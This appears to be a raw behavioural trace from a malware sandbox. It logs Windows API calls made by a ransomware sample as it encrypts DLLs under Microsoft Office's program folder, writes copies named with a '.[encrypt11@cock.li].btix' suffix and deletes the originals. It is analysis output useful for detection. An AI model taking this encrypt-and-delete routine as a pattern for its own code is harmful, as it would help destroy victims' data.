lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.897] lstrlenW (lpString=".rar") returned 4 [0156.897] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.897] lstrlenW (lpString=".bz2") returned 4 [0156.897] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.897] lstrlenW (lpString=".7z") returned 3 [0156.897] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.897] lstrlenW (lpString=".dbf") returned 4 [0156.897] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.897] lstrlenW (lpString=".1cd") returned 4 [0156.897] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.897] lstrlenW (lpString=".jpg") returned 4 [0156.897] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.897] lstrlenW (lpString=".doc") returned 4 [0156.897] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.897] lstrlenW (lpString=".docx") returned 5 [0156.898] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.898] lstrlenW (lpString=".pdf") returned 4 [0156.898] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.898] lstrlenW (lpString=".xls") returned 4 [0156.898] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.898] lstrlenW (lpString=".xlsx") returned 5 [0156.898] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.898] lstrlenW (lpString=".ppt") returned 4 [0156.898] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.898] lstrlenW (lpString=".zip") returned 4 [0156.898] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.898] lstrlenW (lpString=".rar") returned 4 [0156.898] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.898] lstrlenW (lpString=".bz2") returned 4 [0156.898] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.898] lstrlenW (lpString=".7z") returned 3 [0156.898] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.898] lstrlenW (lpString=".dbf") returned 4 [0156.898] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.898] lstrlenW (lpString=".1cd") returned 4 [0156.898] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 82 [0156.898] lstrlenW (lpString=".jpg") returned 4 [0156.898] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.899] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.899] lstrlenW (lpString="api-ms-win-crt-heap-l1-1-0.dll") returned 30 [0156.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.899] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=19648) returned 1 [0156.899] CloseHandle (hObject=0x33c) returned 1 [0156.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0156.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.899] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.899] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0156.900] GetLastError () returned 0x0 [0156.900] ReadFile (in: hFile=0x33c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0156.910] WriteFile (in: hFile=0x348, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0156.911] ReadFile (in: hFile=0x33c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0156.911] WriteFile (in: hFile=0x348, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x110, lpOverlapped=0x0) returned 1 [0156.911] SetEndOfFile (hFile=0x348) returned 1 [0156.911] CloseHandle (hObject=0x348) returned 1 [0156.911] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.911] SetEndOfFile (hFile=0x33c) returned 1 [0156.912] CloseHandle (hObject=0x33c) returned 1 [0156.912] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0156.912] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0156.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.912] lstrlenW (lpString=".doc") returned 4 [0156.913] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.913] lstrlenW (lpString=".docx") returned 5 [0156.913] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.913] lstrlenW (lpString=".pdf") returned 4 [0156.913] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.913] lstrlenW (lpString=".xls") returned 4 [0156.913] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.913] lstrlenW (lpString=".xlsx") returned 5 [0156.913] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.913] lstrlenW (lpString=".ppt") returned 4 [0156.913] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.913] lstrlenW (lpString=".zip") returned 4 [0156.913] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.913] lstrlenW (lpString=".rar") returned 4 [0156.913] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.913] lstrlenW (lpString=".bz2") returned 4 [0156.913] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.913] lstrlenW (lpString=".7z") returned 3 [0156.913] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.913] lstrlenW (lpString=".dbf") returned 4 [0156.913] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.913] lstrlenW (lpString=".1cd") returned 4 [0156.913] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.913] lstrlenW (lpString=".jpg") returned 4 [0156.913] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.913] lstrlenW (lpString=".doc") returned 4 [0156.913] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0156.914] lstrlenW (lpString=".docx") returned 5 [0156.914] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0156.914] lstrlenW (lpString=".pdf") returned 4 [0156.914] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0156.914] lstrlenW (lpString=".xls") returned 4 [0156.914] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0156.914] lstrlenW (lpString=".xlsx") returned 5 [0156.914] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0156.914] lstrlenW (lpString=".ppt") returned 4 [0156.914] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0156.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.914] lstrlenW (lpString=".zip") returned 4 [0156.914] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0156.914] lstrlenW (lpString=".rar") returned 4 [0156.914] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0156.914] lstrlenW (lpString=".bz2") returned 4 [0156.914] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0156.914] lstrlenW (lpString=".7z") returned 3 [0156.914] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0156.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.914] lstrlenW (lpString=".dbf") returned 4 [0156.914] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0156.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.914] lstrlenW (lpString=".1cd") returned 4 [0156.914] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0156.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll") returned 76 [0156.914] lstrlenW (lpString=".jpg") returned 4 [0156.914] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0156.914] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0156.914] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0156.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.915] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=19136) returned 1 [0156.915] CloseHandle (hObject=0x33c) returned 1 [0156.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220 [0156.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0156.915] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0156.915] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.915] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0156.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0156.916] GetLastError () returned 0x0 [0156.916] ReadFile (in: hFile=0x33c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0157.238] WriteFile (in: hFile=0x348, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0157.239] ReadFile (in: hFile=0x33c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0157.239] WriteFile (in: hFile=0x348, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x114, lpOverlapped=0x0) returned 1 [0157.239] SetEndOfFile (hFile=0x348) returned 1 [0157.240] CloseHandle (hObject=0x348) returned 1 [0157.240] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0157.240] SetEndOfFile (hFile=0x33c) returned 1 [0157.241] CloseHandle (hObject=0x33c) returned 1 [0157.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0157.241] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0157.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.241] lstrlenW (lpString=".doc") returned 4 [0157.241] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.241] lstrlenW (lpString=".docx") returned 5 [0157.241] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.241] lstrlenW (lpString=".pdf") returned 4 [0157.241] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.242] lstrlenW (lpString=".xls") returned 4 [0157.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.242] lstrlenW (lpString=".xlsx") returned 5 [0157.242] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.242] lstrlenW (lpString=".ppt") returned 4 [0157.242] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.242] lstrlenW (lpString=".zip") returned 4 [0157.242] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.242] lstrlenW (lpString=".rar") returned 4 [0157.242] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.242] lstrlenW (lpString=".bz2") returned 4 [0157.242] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.242] lstrlenW (lpString=".7z") returned 3 [0157.242] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.242] lstrlenW (lpString=".dbf") returned 4 [0157.242] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.242] lstrlenW (lpString=".1cd") returned 4 [0157.242] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.242] lstrlenW (lpString=".jpg") returned 4 [0157.242] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.242] lstrlenW (lpString=".doc") returned 4 [0157.242] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.242] lstrlenW (lpString=".docx") returned 5 [0157.242] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0157.242] lstrlenW (lpString=".pdf") returned 4 [0157.242] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.242] lstrlenW (lpString=".xls") returned 4 [0157.242] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.243] lstrlenW (lpString=".xlsx") returned 5 [0157.243] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0157.243] lstrlenW (lpString=".ppt") returned 4 [0157.243] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.243] lstrlenW (lpString=".zip") returned 4 [0157.243] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.243] lstrlenW (lpString=".rar") returned 4 [0157.243] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.243] lstrlenW (lpString=".bz2") returned 4 [0157.243] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.243] lstrlenW (lpString=".7z") returned 3 [0157.243] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.243] lstrlenW (lpString=".dbf") returned 4 [0157.243] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.243] lstrlenW (lpString=".1cd") returned 4 [0157.243] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll") returned 78 [0157.243] lstrlenW (lpString=".jpg") returned 4 [0157.243] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.243] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.243] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0157.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.244] lstrlenW (lpString=".doc") returned 4 [0157.244] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.244] lstrlenW (lpString=".docx") returned 5 [0157.244] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0157.244] lstrlenW (lpString=".pdf") returned 4 [0157.244] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.244] lstrlenW (lpString=".xls") returned 4 [0157.244] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.244] lstrlenW (lpString=".xlsx") returned 5 [0157.244] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0157.244] lstrlenW (lpString=".ppt") returned 4 [0157.244] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.244] lstrlenW (lpString=".zip") returned 4 [0157.244] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.244] lstrlenW (lpString=".rar") returned 4 [0157.244] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.244] lstrlenW (lpString=".bz2") returned 4 [0157.244] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.244] lstrlenW (lpString=".7z") returned 3 [0157.244] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.244] lstrlenW (lpString=".dbf") returned 4 [0157.244] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.244] lstrlenW (lpString=".1cd") returned 4 [0157.244] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.244] lstrlenW (lpString=".jpg") returned 4 [0157.244] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.244] lstrlenW (lpString=".doc") returned 4 [0157.244] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0157.245] lstrlenW (lpString=".docx") returned 5 [0157.245] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0157.245] lstrlenW (lpString=".pdf") returned 4 [0157.245] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0157.245] lstrlenW (lpString=".xls") returned 4 [0157.245] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0157.245] lstrlenW (lpString=".xlsx") returned 5 [0157.245] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0157.245] lstrlenW (lpString=".ppt") returned 4 [0157.245] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0157.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.245] lstrlenW (lpString=".zip") returned 4 [0157.245] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0157.245] lstrlenW (lpString=".rar") returned 4 [0157.245] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0157.245] lstrlenW (lpString=".bz2") returned 4 [0157.245] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0157.245] lstrlenW (lpString=".7z") returned 3 [0157.245] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0157.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.245] lstrlenW (lpString=".dbf") returned 4 [0157.245] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0157.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.245] lstrlenW (lpString=".1cd") returned 4 [0157.245] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0157.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll") returned 65 [0157.245] lstrlenW (lpString=".jpg") returned 4 [0157.245] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0157.245] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0157.245] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0157.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0157.246] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=473760) returned 1 [0157.246] CloseHandle (hObject=0x33c) returned 1 [0157.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll")) returned 0x420 [0157.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 